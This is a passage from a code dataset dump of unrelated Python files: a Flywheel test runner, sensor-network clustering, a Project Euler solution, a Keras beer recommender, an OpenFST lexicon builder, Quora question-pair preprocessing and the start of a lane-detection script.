\"rollout.ce.flywheel.io:abcdefgHIJKLMNOPQR\",\n },\n\n \"neumopho@gmail.com\": {\n \"ss.ce\": \"ss.ce.flywheel.io:abcdefgHIJKLMNOPQR\"\n }\n }\n}\n\"\"\"\n\n\ndef get_flywheel_client(instance):\n \"\"\"Return a Flywheel Client given the instance name.\n\n Get the api_key by looking it up in the KEY_FILE\n\n Args:\n instance (str): The the name of the Flywheel instance\n\n Returns:\n fw (flywheel.client.Client): Flywheel client for the named instance\n \"\"\"\n\n with open(KEY_FILE) as json_file:\n keys = json.load(json_file)\n the_user = keys[\"default\"]\n for key, val in keys[\"ids\"][the_user].items():\n if instance.startswith(key):\n api_key = val\n return flywheel.Client(api_key=api_key)\n\n\ndef get_or_create_group(fw, group_id, group_label):\n \"\"\"Create a group if it does not already exist.\n\n Args:\n group_id (str): An ID for a group\n group_label (str): The label for a group\n\n Returns:\n group (flywheel.models.group.Group): The new or existing group\n \"\"\"\n\n groups = fw.groups.find(f\"label={group_label}\")\n if len(groups) > 0:\n group = groups[0]\n print(f\"group.label {group.label}\")\n print(f\"group.id {group.id}\")\n else:\n print(\"Group not found - Creating it.\")\n group_id = fw.add_group(flywheel.Group(group_id, group_label))\n return group\n\n\ndef get_or_create_project(group, project_label):\n \"\"\"Return a project if it exists, if not create it.\n\n Args:\n group (flywheel.models.group.Group): The group the project is/should be in\n project_label (str): The label of the project\n\n Returns:\n project (flywheel.models.project.Project): The new or existing project\n \"\"\"\n\n print(f\"Looking for prject.label {project_label}\")\n projects = group.projects.find(f\"label={project_label}\")\n if len(projects) > 0:\n print(f\"Found it.\")\n project = projects[0]\n print(f\"project.label {project.label}\")\n print(f\"project.id {project.id}\")\n else:\n print(\"Project not found - Creating it.\")\n project = group.add_project(label=f\"{project_label}\")\n print(f\"project.label {project.label}\")\n print(f\"project.id {project.id}\")\n return project\n\n\ndef import_bids_data_if_empty(fw, group_id, project, data_path):\n \"\"\"Upload BIDS data and description if the project has no acquisitions.\n\n Data is stored in a zip archive that has a \"bids\" directory at\n the top level. The zip archive is called f\"{project.label}.zip\".\n The description for the project (if present) is stored in a\n file called f\"{project.label}_Description.md\".\n\n Args:\n fw (flywheel.client.Client): A Flywheel client\n group_id (str): Flywheel Instance Group ID\n project (flywheel.models.project.Project): Project that was just created\n data_path (str): where to find project.label + \".zip\" to upload as BIDS\n \"\"\"\n\n acquisitions = fw.acquisitions.find(f\"project={project.id}\")\n\n if len(acquisitions) == 0:\n print(f\"Project has no acquisitions, importing BIDS data for \")\n with tempfile.TemporaryDirectory() as tmpdirname:\n unzip_archive(f\"{data_path}/{project.label}.zip\", tmpdirname)\n upload_bids(\n fw,\n str(tmpdirname + \"/bids\"),\n group_id=group_id,\n project_label=project.label,\n hierarchy_type=\"Flywheel\",\n validate=False,\n )\n\n description_file = Path(f\"{data_path}/{project.label}_Description.md\")\n if description_file.exists():\n with open(description_file, \"r\") as dfp:\n description = dfp.read()\n fw.modify_project(project.id, {\"description\": description})\n else:\n print(f\"Could not find {description_file}\")\n\n else:\n print(\n f\"Project already has {len(acquisitions)} acquisitions. Not uploading bids.\"\n )\n\n\ndef main():\n\n exit_code = 0\n\n tests = pd.read_table(CONFIG, index_col=False)\n\n analysis_ids = []\n\n for index, row in tests.iterrows():\n\n test = str(row[\"Test\"])\n c_test = f\"{CG}{test}{C0}\" # Green\n instance = str(row[\"Instance\"])\n c_instance = f\"{CB}{instance}{C0}\" # Blue\n group_id = str(row[\"Group_ID\"])\n c_group_id = f\"{CP}{group_id}{C0}\" # Purple\n group_label = str(row[\"Group_Label\"])\n c_group_label = f\"{CP}{group_label}{C0}\" # Purple\n project_label = str(row[\"Project\"])\n c_project_label = f\"{CM}{project_label}{C0}\" # Magenta\n if str(row[\"BIDS?\"]).lower() == \"yes\":\n is_bids = True\n else:\n is_bids = False\n delay = row[\"Delay\"] # number of seconds\n if str(row[\"Run_test?\"]).lower() == \"yes\":\n run_test = True\n else:\n run_test = False\n\n if test == \"Exit\":\n print(f\"You want me to Exit, I wasn't finished! OK Boomer.\")\n os.sys.exit()\n\n if not run_test:\n continue\n\n if test == \"Null\": # only create group/project and upload data, no test\n print(f\"\\nCreating {c_project_label} on on {c_instance}\")\n else:\n print(f\"\\nRunning {c_test} on {c_instance}\")\n\n # Assume the instance exists. Someday, create one if not!\n fw = get_flywheel_client(instance)\n\n print(f\"Setting up or using Group: {c_group_label}\")\n group = get_or_create_group(fw, group_id, group_label)\n\n print(f\"Setting up or using Project: {c_project_label}\")\n project = get_or_create_project(group, project_label)\n\n if row[\"BIDS?\"].lower() == \"yes\":\n print(f\"Setting up or using BIDS Project: {row['Project']}\")\n import_bids_data_if_empty(fw, group_id, project, DATA_PATH)\n else:\n print(f\"Setting up or using non-BIDS Project: {row['Project']}\")\n print(\"Wait! I don't know how to do that! Ahhhhhhhhhh!\")\n\n # Import the test and launch the job\n if test != \"Null\":\n print(f\"Launching Test: {test}\")\n test_path = f\"tests.{test}\"[:-3]\n print(test_path)\n __import__(test_path)\n test_module = sys.modules[test_path]\n analysis_id = test_module.main(fw)\n print(f\"analysis_id = {analysis_id}\")\n analysis_ids.append(analysis_id)\n\n # TODO make this actually work:\n if row[\"Delay\"] == float(\"inf\"):\n # sleep for a while and check if it is done yet, repeat until done\n print(f\"Waiting for job to finish...\")\n elif row[\"Delay\"] > 0:\n print(f\"Sleeping for {row['Delay']} seconds\")\n time.sleep(row[\"Delay\"])\n\n # TODO use analysis_ids to monitor jobs or\n # launch gear to monitor tests and produce dashboard of results\n # - check result (succeed/fail) and log for specific outcomes\n # based on what is being tested, i.e. \"asserts\"\n\n return exit_code\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\n description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter\n )\n parser.add_argument(\n \"-s\",\n \"--sleep\",\n type=int,\n default=\"10\",\n help=\"sleep in seconds after running each test\",\n )\n parser.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0)\n\n args = parser.parse_args()\n\n os.sys.exit(main())\n","sub_path":"tests/platform_tests/run-platform-tests.py","file_name":"run-platform-tests.py","file_ext":"py","file_size_in_byte":8772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"97169823","text":"import os\nimport sys\nimport math\nimport numpy as np\nimport scipy.spatial as sp\nfrom scipy.spatial import distance\nfrom wsnsims.core import linalg\n\n\n\n#x coord, y coord, mbit speed\nS0 = [9,13,34]\nS1 = [4,12,31]\nS2 = [2,9,29]\nS3 = [7,9,50]\nS4 = [12,9,17]\nS5 = [17,9,13]\nS6 = [17,4,1]\nS7 = [14,0,2]\nS8 = [11,4,7]\nS9 = [5,0,1]\nS10 = [5,6,22]\nS11 = [0,4,1]\n\nnodes = list()\nnodes.append(S0)\nnodes.append(S1)\nnodes.append(S2)\nnodes.append(S3)\nnodes.append(S4)\nnodes.append(S5)\nnodes.append(S6)\nnodes.append(S7)\nnodes.append(S8)\nnodes.append(S9)\nnodes.append(S10)\nnodes.append(S11)\n\n\n\nseg10_11 = list()\nseg10_8 = list()\nseg9_8 = list()\nseg7_8 = list()\nseg8_4 = list()\nseg8_5 = list()\nseg6_5 = list()\nseg0_5 = list()\nseg0_3 = list()\nseg3_4 = list()\nseg3_2 = list()\nseg1_2 = list()\nseg1_10 = list()\n\nseg10_11.append(S10)\nseg10_11.append(S11)\n\nseg10_8.append(S10)\nseg10_8.append(S8)\n\nseg9_8.append(S9)\nseg9_8.append(S8)\n\nseg7_8.append(S7)\nseg7_8.append(S8)\n\nseg8_4.append(S4)\nseg8_4.append(S8)\n\nseg8_5.append(S8)\nseg8_5.append(S5)\n\nseg6_5.append(S6)\nseg6_5.append(S5)\n\nseg0_5.append(S0)\nseg0_5.append(S5)\n\nseg0_3.append(S0)\nseg0_3.append(S3)\n\nseg3_4.append(S3)\nseg3_4.append(S4)\n\nseg3_2.append(S3)\nseg3_2.append(S2)\n\nseg1_2.append(S1)\nseg1_2.append(S2)\n\nseg1_10.append(S1)\nseg1_10.append(S10)\n\n\nsegmentList = list()\n\n# Now add all segmetns to main segment list\nsegmentList.append(seg10_8)\nsegmentList.append(seg10_11)\nsegmentList.append(seg9_8)\nsegmentList.append(seg7_8)\nsegmentList.append(seg8_4)\nsegmentList.append(seg8_5)\nsegmentList.append(seg6_5)\nsegmentList.append(seg0_5)\nsegmentList.append(seg0_3)\nsegmentList.append(seg3_4)\nsegmentList.append(seg3_2)\nsegmentList.append(seg1_2)\nsegmentList.append(seg1_10)\n\n\n\nradio1 = 100\nradio2 = 50\nradio3 = 25\nradio4 = 30\n\nmdc_count = 12\nseg_count = len(segmentList)\n\n# Find EG coordinates of the segment\n# Center of mass for segments\ndef findEG(nodeList):\n eGs = list()\n totalData = 0\n yweight = 0\n xweight = 0\n\n # Segment has 2 nodes, so get data from each node\n for node in nodeList:\n x = node[0]\n y = node[1]\n data = node[2]\n\n xweight += x * data\n yweight += y * data\n totalData += data\n\n # rounding the data to no decimal points here for simplicity\n Cx = (xweight / totalData)\n Cy = (yweight / totalData)\n\n eGs.append(Cx)\n eGs.append(Cy)\n\n # coordinates for center of energy \n return eGs\n\n# Finds the euclidian distance between a node and eG for a segment\n# We can use ditance.euclidian(a,b) instead and probaly should as part of scipy\ndef findEucDist(eG,node):\n\n distance = 0\n x = node[0]\n y = node[1]\n \n eG_x = eG[0]\n eG_y = eG[1]\n\n \n temp1 = (x - eG_x) ** 2\n temp2 = (y - eG_y) ** 2\n\n sum = temp1 + temp2\n\n sqrt = math.sqrt(temp1 + temp2)\n\n distance = sqrt\n \n\n return distance\n\n# This will acutally compute a tour between the points of a cluster\ndef computeTourCluster(eG, cluster):\n\n npList = np.array((eG[0], eG[1]))\n\n new = list()\n\n new.append(eG)\n\n # Create list of x and y of each node in cluster, since the node format is [x, y, mbit]\n for node in cluster:\n x = node[0]\n y = node[1]\n\n w = list()\n w.append(x)\n w.append(y)\n new.append(w)\n\n # Should have new list\n # eG coordinates, node1 in cluster coords, node 2 in coords, ...\n # radio_range default = 30\n R = 30\n\n if len(new) == 2:\n vertices = np.array([0,1])\n else:\n # Create convex hull object\n hull = sp.ConvexHull(new, qhull_options='QJ Pp')\n vertices = hull.vertices\n\n tour = list(vertices)\n\n # make a np array based on our existing list\n npNew = np.array(new)\n\n collection_points = np.empty_like(npNew)\n center_of_mass = linalg.centroid(npNew[vertices])\n\n \n \n for vertex in vertices:\n if np.all(np.isclose(center_of_mass, npNew[vertex])):\n collection_points[vertex] = np.copy(npNew[vertex])\n continue\n\n cp = center_of_mass - npNew[vertex]\n cp /= np.linalg.norm(cp)\n cp *= R\n cp += npNew[vertex]\n collection_points[vertex] = cp\n\n\n\n interior = np.arange(start=0, stop=len(npNew), step=1)\n interior = np.delete(interior, vertices, 0)\n\n for point_idx in interior:\n\n closest_segment = -1\n closest_distance = np.inf\n closest_perp = np.zeros((1,2))\n\n p = npNew[point_idx]\n\n tail = len(tour) - 1\n head = 0\n while head < len(tour):\n\n start_idx = tour[tail]\n end_idx = tour[head]\n\n start = collection_points[start_idx]\n end = collection_points[end_idx]\n\n perp_len, perp_vec = linalg.closest_point(start, end, p)\n\n if perp_len < closest_distance:\n closest_segment = head\n closest_distance = perp_len\n closest_perp = perp_vec\n\n tail = head\n head += 1\n\n tour.insert(closest_segment, point_idx)\n collect_point = closest_perp - p\n\n radius = np.linalg.norm(collect_point)\n\n if radius > R:\n collect_point /= radius\n collect_point *= R\n\n collect_point += p\n collection_points[point_idx] = collect_point\n\n tour.append(tour[0])\n\n \n # length calculations\n total = 0\n tail = 0\n head = 1\n\n while head < len(vertices):\n start = collection_points[vertices[tail]]\n stop = collection_points[vertices[head]]\n\n total += np.linalg.norm(stop - start)\n tail += 1\n head += 1\n\n return total\n\ndef findCommEnergy(eG, node):\n\n # data volume * communication cost\n # Taken form wsnsims/core/Environment.py\n comm_cost = 2.0\n\n # get data volume (index 2) of node\n data_volume = node[2]\n \n #comm_energy = data_volume * comm_cost\n comm_energy = (10*data_volume)/5\n \n return comm_energy\n\ndef findCommEnergyCluster(eG, cluster):\n\n sum = 0\n for node in cluster:\n sum += findCommEnergy(eG, node)\n \n return sum\n\ndef findMoveEnergyCluster(eG, cluster):\n\n sum = 0\n # Taken from wsnsims/core/Environment.py\n move_cost = 1\n \n sum = computeTourCluster(eG, cluster) * move_cost\n\n return sum\n\n\ndef totalEnergyCluster(eG, cluster):\n\n # TotalCommEnergyCluster + TotalMoveEnergyCluster\n return findMoveEnergyCluster(eG, cluster) + findCommEnergyCluster(eG, cluster)\n\n\n# Sums the clusters aggregated data of x and Y\ndef summation(eG, cluster_x, cluster_y, clusterList):\n\n sum = 0\n mergedData = 0\n for clust in clusterList:\n mergedData = cluster_x[0][2] + cluster_y[0][2]\n \n sum += mergedData\n \n return sum\n\n# initialize and form segments into clusters\ndef initClusters(segments):\n\n start_clusters = list()\n # Loop through segments \n\n for seg in segments:\n start_clusters.append(seg)\n \n return start_clusters\n\n\n\ndef mergeClusters(listOfClusters):\n\n mdc_count = 5\n numClusters = mdc_count - 1\n k = numClusters\n\n mergedCluster = list()\n finalCluster = list()\n\n sum = 0\n round = 0\n lowest = 0\n\n #do/while\n while True:\n for clust_x in listOfClusters:\n for clust_y in listOfClusters:\n\n # Get the total total Energy of each cluster\n sum = totalEnergyCluster(eG, clust_x) + totalEnergyCluster(eG, clust_y)\n\n # print(\"Energy of \", clust_x, \" and \", clust_y, \": \", sum)\n # make sure they aren't the same\n if clust_x == clust_y:\n continue\n if round == 0:\n # first round, first set is lowest by default\n lowest = sum\n #\"Marking\" clusters for merging\n mergedCluster.append(clust_x)\n mergedCluster.append(clust_y)\n round += 1\n else:\n if sum < lowest:\n lowest = sum\n # \"unmark\" clusters\n mergedCluster.clear()\n # \"Mark\" new clusters\n mergedCluster.append(clust_x)\n mergedCluster.append(clust_y)\n # Add the merged to the final cluster\n for clust in mergedCluster:\n finalCluster.append(clust)\n \n round -= 1\n k -= 1\n if k == 0:\n break\n \n return finalCluster\n\ndef printClusters(cluster_list):\n\n i = 0\n for clust in cluster_list:\n print(\"Cluster\", i, \":\", clust)\n i += 1\n \n return True\n\n\n### phase2 code here\n\ndef getAvgEnergyCluster(eG, cluster):\n\n\n return True\n\ndef getStanDevCluster(eG, cluster):\n\n\n return True\n\n\ndef getCoreOfMass(eG, cluster):\n\n\n return True\n\n\ndef moveRPIn(cluster):\n\n\n return True\n\n\ndef moveRPOut(cluster):\n\n\n return True\n\n\n\n# starting out, center cluster is at eG\neG = findEG(nodes)\n\n\ncenter_cluster_coord = eG\n\n# initialize clusters, each segment is in it's own cluster\n\nstartClusters = initClusters(nodes)\n\n# Central cluster starts at eG, which is eG\n\ncentralCluster = list()\ncentralCluster.append(S3)\n\n# Remove from our node list that is at eG\nnodes.remove(S3)\n\nsingleClusterList = list()\n\n# Add each node to it's own cluster\nfor node in nodes:\n cluster = list()\n # cluster.append(eG)\n cluster.append(node)\n # append eG to each cluster per the paper\n singleClusterList.append(cluster)\n\n## Phase 1 results should be\n# MDC Count = 5\n# Cluster 0 = S0, S1 - Energy: 320\n# Cluster 1 = S2, S9, S10, S11 - Energy: 526\n# Cluster 2 = S6, S7, S8 - Energy: 470\n# Cluster 3 = S4, S5 - Energy: 330\n#\n# Cluster 4 = S3 ## eG\n\n\n### DEBUGGING\n\nclust0 = list()\nclust1 = list()\nclust2 = list()\nclust3 = list()\nclust4 = list()\n\nclust0.append(S0)\nclust0.append(S1)\n\nclust1.append(S2)\nclust1.append(S9)\nclust1.append(S10)\nclust1.append(S11)\n\nclust2.append(S6)\nclust2.append(S7)\nclust2.append(S8)\n\nclust3.append(S4)\nclust3.append(S5)\n\nclust4.append(S3)\n\n####\n\n\nlistOfClusters = list()\ncenClust = list()\ncenClust.append(S3)\n\n#printClusters(singleClusterList)\nprint(mergeClusters(singleClusterList))\n\n\n \n \n\n\n\n \n \n","sub_path":"wsnsims/loaf/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":10272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"651887910","text":"# A program to find the difference between the sum of first hundred squares\n# And the square of the first hundred numbers summed\ndef squareadd(n):\n if n==0:\n return 0 \n else:\n return (n**2) + squareadd(n-1)\nsum1 = 0\nfor i in range(0, 101):\n sum1+=i\nprint((sum1**2)-(squareadd(100)))\n","sub_path":"project-euler/6 - difference of sum of squares.py","file_name":"6 - difference of sum of squares.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"262183098","text":"import pandas as pd\nimport numpy as np\nimport decimal\nfrom .models import *\n\nfrom keras.layers import Input, Embedding, Flatten, dot\nfrom keras.models import Model\nfrom keras import regularizers\nimport pandas as pd\nimport numpy as np\n# from sklearn.metrics import mean_squared_erro\n\ndef getTop(abvmin, abvmax, beer_style):\n return Beer.objects.filter(abv__gte=abvmin,\n abv__lte=abvmax,\n style__in=beer_style).order_by('-score').order_by('-reviewCnt')[:6]\n\n\ndef getSimTop(abvmin, abvmax, beer_style, user_id):\n ratingMatrix = pd.read_csv(\"ratingMatrix\", seq=\",\")\n beer = Beer.objects.filter(pk__in=ratingMatrix[ratingMatrix['user_id']==user_id]['beer_pk'])\n return beer\n\ndef getRecommend(abv, beer_style, user):\n print(abv)\n abvmin = int(abv.split(',')[0])\n abvmax = int(abv.split(',')[1])\n\n Result =[]\n reviews = BeerReview.objects.filter(user=user, score__gt=3).order_by('-score')\n if reviews.count() > 10:\n print(user)\n Result= getTop(abvmin, abvmax, beer_style)\n else:\n Result= getTop(abvmin, abvmax, beer_style)\n return Result\n\ndef updateMatrix():\n reviews = pd.DataFrame(BeerReview.objects.all().values())\n reviews = reviews.sample(frac=1).reset_index(drop=True)\n reviews = reviews[['user_id', 'beer_pk', 'score']]\n\n users = reviews['user_id'].unique()\n beers = reviews['beer_pk'].unique()\n n_users = len(users)\n n_beers = len(beers)\n n_latent_factors = 64\n\n n = np.random.rand(len(reviews)) < 0.8\n train = reviews[n]\n test = reviews[~n]\n\n # Embedding\n user_input = Input(shape=[1])\n user_embedding = Embedding(n_users, n_latent_factors,\n embeddings_regularizer=regularizers.l2(0.00001),\n name='user_embedding')(user_input)\n\n beer_input = Input(shape=[1])\n beer_embedding = Embedding(n_beers, n_latent_factors,\n embeddings_regularizer=regularizers.l2(0.00001),\n name='beer_embedding')(beer_input)\n\n # vectorization\n user_vec = Flatten()(user_embedding)\n beer_vec = Flatten()(beer_embedding)\n\n # modeling\n y = dot([beer_vec, user_vec], axes=-1)\n model = Model([user_input, beer_input], y)\n model.compile(loss='mse', optimizer='sgd')\n\n # train\n hist = model.fit([train[\"user_id\"], train[\"beer_pk\"]], train[\"score\"],\n batch_size=128, epochs=50, verbose=0)\n print('train loss: ', hist.history['loss'][-1])\n\n # test\n test_loss = model.evaluate([test['user_id'], test['beer_pk']], test['score'])\n print('test loss: ', test_loss)\n model.save('model3.h5')\n\n # predict\n beer_matrix = model.get_layer(name='beer_embedding').get_weight()[0]\n user_matrix = model.get_layer(name='user_embedding').get_weight()[0]\n beer_matrix_T = np.transpose(beer_matrix)\n\n R = np.dot(user_matrix, beer_matrix_T)\n R = pd.DataFrame(R)\n\n print(R)\n R.to_csv(\"ratingMatrix.csv\", mode='w')","sub_path":"home/recommendation.py","file_name":"recommendation.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"246070747","text":"# create-let-dict.py\n# @Author: Nikhil Saini\n# Roll Number : 183059006\n# IIT Bombay\n# S : word : spelling\n# L : word : pronounciation\n# Q : spelling : pronounciation = r(S)oL\nimport sys,os\n\ndef make_string(token):\n\tspell_str = \"\"\n\tfor i in token:\n\t\tspell_str += str(i+\" \")\n\tspell_str = spell_str.rstrip()\n\treturn spell_str\n\ndef create_dict(file_text, file_fst, output_file_fst):\n\tstate = 1\n\tisym_count = 0\n\tosym_count = 0\n\twith open(file_text,'r') as f:\n\t\tset_tok = set()\n\t\tfor line in f:\n\t\t\tline_val = line.split(\"\\t\")\n\t\t\ttokens = line_val[1].replace(\"\\n\",'').replace(\" \",\" \").split(\" \")\n\t\t\tset_tok = set_tok.union(set(tokens))\n\t\tset_tok.discard(' ')\n\t\tset_tok.discard('')\n\t\twith open('osyms_S.txt','w') as os:\n\t\t\tos.write(\"<eps> 0\\n\")\n\t\t\tosym_count += 1\n\t\t\tfor tok in set_tok:\n\t\t\t\tos.write(tok + \" \"+str(osym_count)+\"\\n\")\n\t\t\t\tosym_count += 1\n\n\twith open(file_text, 'r') as f:\n\t\twith open(\"text_S.fst\", 'w') as o:\n\t\t\twith open('isyms_S.txt','w') as i:\n\t\t\t\ti.write(\"<eps> 0\\n\")\n\t\t\t\tisym_count += 1\n\t\t\t\tfor line in f:\n\t\t\t\t\tline_val = line.split(\"\\t\")\n\t\t\t\t\ttokens = line_val[1].replace(\"\\n\",'').replace(\" \",\" \").split(\" \")\n\t\t\t\t\ttry:\n\t\t\t\t\t\ttokens.remove('')\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tpass\n\t\t\t\t\t# initial state is 0\n\t\t\t\t\tif len(tokens) == 1:\n\t\t\t\t\t\to.write(\"0 \"+str(state+1)+\" \"+line_val[0]+\" \"+tokens[0]+\"\\n\")\n\t\t\t\t\t\to.write(str(state+1)+\"\\n\")\n\t\t\t\t\t\tstate += 2\n\t\t\t\t\t\ti.write(line_val[0]+\" \"+str(isym_count)+\"\\n\")\n\t\t\t\t\t\tisym_count += 1\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t# First transition from state 0\n\t\t\t\t\to.write(\"0 \"+str(state)+\" \"+line_val[0]+\" \"+tokens[0]+\"\\n\")\n\t\t\t\t\t# isyms update\n\t\t\t\t\ti.write(line_val[0]+\" \"+str(isym_count)+\"\\n\")\n\t\t\t\t\tisym_count += 1\n\n\t\t\t\t\tfor tok in range(1,len(tokens)):\n\t\t\t\t\t\to.write(str(state)+\" \"+str(state+1)+\" <eps> \"+tokens[tok]+\"\\n\")\n\t\t\t\t\t\tstate += 1\n\n\t\t\t\t\to.write(str(state)+\"\\n\")\n\t\t\t\t\tstate += 1\n\n\t\t\t\n\n\ndef create_let_dict(file_text, file_fst, output_file_fst):\n\t\n\twith open(file_text,'r') as f:\n\t\twith open('lex_S.txt','w') as s:\n\t\t\tfor line in f:\n\t\t\t\tline_val = line.split(\"\\t\")\n\t\t\t\ttoken = line_val[0]\n\t\t\t\tspell_str = make_string(token)\n\t\t\t\ts.write(token+\"\\t\"+spell_str+\"\\n\")\n\n\tcreate_dict(\"lex_S.txt\", file_fst, output_file_fst)\n\n\t\t\t\n\n\t\t\t\t\n\nif __name__==\"__main__\":\n\tfile_text = sys.argv[1]\n\tfile_fst = sys.argv[2]\n\toutput_file_fst = sys.argv[3]\n\tcreate_let_dict(file_text, file_fst, output_file_fst)\n\tos.system('fstcompile --isymbols=isyms_L.txt --osymbols=osyms_S.txt --keep_isymbols --keep_osymbols text_S.fst S.fst')\n\tos.system('fstinvert S.fst i_S.fst')\n\tos.system('fstcompose i_S.fst L.fst Q_init.fst')\n\tos.system('fstminimize --allow_nondet=true Q_init.fst ' +output_file_fst )\n\t# os.system(\"fstrandgen r_S_L.fst | fstproject --project_output | fstprint --acceptor --isymbols=osyms_L.py | awk '{print($3)}'\")\n\t\n\n","sub_path":"create-let-dict.py","file_name":"create-let-dict.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"277790447","text":"import argparse\nimport codecs\nimport json\nimport os.path\nimport string\nimport re\nimport uuid\nimport nltk\nimport spacy\nimport numpy\n\nspacy_nlp = spacy.load('en')\n\ndef add_arguments(parser):\n parser.add_argument(\"--format\", help=\"format to generate\", required=True)\n parser.add_argument(\"--input_file\", help=\"path to input file\", required=True)\n parser.add_argument(\"--output_file\", help=\"path to output file\", required=True)\n parser.add_argument(\"--process_mode\", help=\"process mode\", default=\"train\")\n parser.add_argument(\"--neg_num\", help=\"number of negative sampling\", type=int, default=5)\n parser.add_argument(\"--random_seed\", help=\"random seed\", type=int, default=0)\n\ndef nltk_tokenize(text, lower_case=False, remove_punc=False):\n def process_token(tokens):\n special = (\"-\", \"£\", \"€\", \"¥\", \"¢\", \"₹\", \"\\u2212\", \"\\u2014\", \"\\u2013\",\n \"/\", \"~\", '\"', \"'\", \"\\ud01C\", \"\\u201C\", \"\\u2019\", \"\\u201D\", \"\\u2018\", \"\\u00B0\")\n pattern = \"([{}])\".format(\"\".join(special))\n processed_tokens = []\n for token in tokens:\n token = token.replace(\"''\", '\" ').replace(\"``\", '\" ')\n processed_tokens.extend(re.split(pattern, token))\n \n return processed_tokens\n \n def remove_punctuation(tokens):\n exclude = set(string.punctuation)\n return [token for token in tokens if token not in exclude]\n \n def fix_white_space(tokens):\n return [token for token in tokens if token and not token.isspace()]\n \n sents = nltk.sent_tokenize(text)\n norm_sents = []\n for sent in sents:\n words = nltk.word_tokenize(sent)\n words = process_token(words)\n if remove_punc:\n words = remove_punctuation(words)\n \n words = fix_white_space(words)\n norm_sents.append(' '.join(words))\n \n norm_text = ' '.join(norm_sents)\n if lower_case:\n norm_text = norm_text.lower()\n \n return norm_text\n\ndef spacy_tokenize(text, lower_case=False, remove_punc=False):\n def process_token(tokens):\n special = (\"-\", \"£\", \"€\", \"¥\", \"¢\", \"₹\", \"\\u2212\", \"\\u2014\", \"\\u2013\",\n \"/\", \"~\", '\"', \"'\", \"\\ud01C\", \"\\u201C\", \"\\u2019\", \"\\u201D\", \"\\u2018\", \"\\u00B0\")\n pattern = \"([{}])\".format(\"\".join(special))\n processed_tokens = []\n for token in tokens:\n token = token.replace(\"''\", '\" ').replace(\"``\", '\" ')\n processed_tokens.extend(re.split(pattern, token))\n \n return processed_tokens\n \n def remove_punctuation(tokens):\n exclude = set(string.punctuation)\n return [token for token in tokens if token not in exclude]\n \n def fix_white_space(tokens):\n return [token for token in tokens if token and not token.isspace()]\n \n word_docs = spacy_nlp(text)\n words = [word.text for word in word_docs]\n words = process_token(words)\n if remove_punc:\n words = remove_punctuation(words)\n \n words = fix_white_space(words)\n \n norm_text = ' '.join(words)\n if lower_case:\n norm_text = norm_text.lower()\n \n return norm_text\n\ndef preprocess(file_name,\n process_mode,\n neg_num,\n random_seed):\n if not os.path.exists(file_name):\n raise FileNotFoundError(\"file not found\")\n \n data_list = []\n with open(file_name, \"rb\") as file:\n for line in file:\n items = [item for item in line.decode(\"utf-8\").strip().split('\\t') if item]\n \n if len(items) < 6:\n continue\n \n if (items[0] == \"id\" and items[1] == \"qid1\" and items[2] == \"qid2\" and\n items[3] == \"question1\" and items[4] == \"question2\" and items[5] == \"is_duplicate\"):\n continue\n \n source = spacy_tokenize(items[3].strip())\n target = spacy_tokenize(items[4].strip())\n label = items[5].strip()\n \n if label == \"0\":\n continue\n \n data_list.append({\n \"id\": str(uuid.uuid4()),\n \"source\": source,\n \"target\": target,\n \"label\": label\n })\n \n if process_mode == \"eval\":\n processed_data_list = []\n data_size = len(data_list)\n indice_list = neg_sampling_indice(data_size, neg_num, random_seed)\n for i, indice in enumerate(indice_list):\n for j in indice:\n processed_data_list.append({\n \"id\": str(uuid.uuid4()),\n \"source\": data_list[i][\"source\"],\n \"target\": data_list[j][\"target\"],\n \"label\": \"1\" if i == j else \"0\"\n })\n else:\n processed_data_list = data_list\n \n return processed_data_list\n\ndef neg_sampling_indice(data_size,\n neg_num,\n random_seed):\n \"\"\"generate indice for negative sampling\"\"\"\n numpy.random.seed(random_seed)\n indice_list = []\n for index in range(data_size):\n neg_num = min(data_size-1, neg_num) \n indice = list(range(data_size))\n indice.remove(index)\n numpy.random.shuffle(indice)\n indice = [index] + indice[:neg_num]\n indice_list.append(indice)\n\n return indice_list\n\ndef output_to_json(data_list, file_name):\n with open(file_name, \"w\") as file:\n data_json = json.dumps(data_list, indent=4)\n file.write(data_json)\n\ndef output_to_plain(data_list, file_name):\n with open(file_name, \"wb\") as file:\n for data in data_list:\n data_plain = \"{0}\\t{1}\\t{2}\\t{3}\\r\\n\".format(data[\"id\"], data[\"source\"], data[\"target\"], data[\"label\"])\n file.write(data_plain.encode(\"utf-8\"))\n\ndef main(args):\n processed_data = preprocess(args.input_file, args.process_mode, args.neg_num, args.random_seed)\n if (args.format == 'json'):\n output_to_json(processed_data, args.output_file)\n elif (args.format == 'plain'):\n output_to_plain(processed_data, args.output_file)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n add_arguments(parser)\n args = parser.parse_args()\n main(args)","sub_path":"dual_encoder/preprocess/preprocess_qqp.py","file_name":"preprocess_qqp.py","file_ext":"py","file_size_in_byte":6268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"395503130","text":"import os\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\n\r\nfrom moviepy.editor import VideoFileClip\r\n\r\nfrom features import ROI_SRC, ROI_DST, undistort, feature_mask\r\nfrom process import fit_lines_by_windows, fit_lines_by_recent_lines, warp\r\nfrom process import draw_lane_on_unwarped_frame, compute_vehicle_offset\r\nfrom process import Line, post_process\r\n\r\n# Global variables\r\nleft_line = Line(cache=20)\r\nright_line = Line(cache=20)\r\nframe_counter = 0\r\n\r\n\r\ndef process(frame):\r\n \"\"\" The main processing function.\r\n\r\n Each frame undergoes the complete pipeline.\r\n\r\n Args:\r\n frame: the current raw video frame\r\n Returns:\r\n the processed frame\r\n 